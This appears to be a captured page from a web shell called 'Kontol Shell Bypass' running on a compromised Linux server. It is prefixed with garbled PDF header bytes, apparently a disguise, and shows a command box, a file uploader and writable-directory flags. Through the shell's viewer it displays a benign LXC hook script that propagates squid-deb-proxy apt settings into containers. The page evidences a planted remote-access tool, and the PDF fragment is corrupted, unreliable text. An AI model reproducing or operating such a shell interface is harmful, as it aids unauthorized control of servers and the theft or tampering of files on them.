%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /usr/share/lxc/hooks/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //usr/share/lxc/hooks/squid-deb-proxy-client
#!/bin/sh
#
# Make the cloned container aware of squid-deb-proxy settings at start.
#
# Copyright ©  2014 Christopher Glass.
#
# This library is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2, as
# published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along
# with this program; if not, write to the Free Software Foundation, Inc.,
# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.

# When starting a container, inject the squid-deb-proxy-client proxy
# address in the container's apt configuration.
# This script should be added to templates as a pre-start script, such as:
#lxc.hook.pre-start=/usr/share/lxc/hooks/squid-deb-proxy-client

discovery_script=/usr/share/squid-deb-proxy-client/apt-avahi-discover
proxy_file=/etc/apt/apt.conf.d/50squid-deb-proxy
container_proxy_file=$LXC_ROOTFS_PATH$proxy_file

if [ -f $proxy_file ]; then
    # The host has a proxy file - let's propagate the config to the guest.
    cat $proxy_file > $container_proxy_file
    exit 0
fi

if [ ! -f $discovery_script ]; then
    # There is no squid-deb-proxy-client package installed. Do nothing.
    exit 0
fi

proxy_line=$($discovery_script)  #XXX: Could be multiline?

if [ -n "$proxy_line" ]; then
    doc="# Detected at container start from the host's squid-deb-proxy-client"
    echo "Acquire::http::proxy \"$proxy_line\"; $doc" > $container_proxy_file
else
    if [ -f $proxy_file ]; then
        rm $proxy_file
    fi
fi
exit 0

Kontol Shell Bypass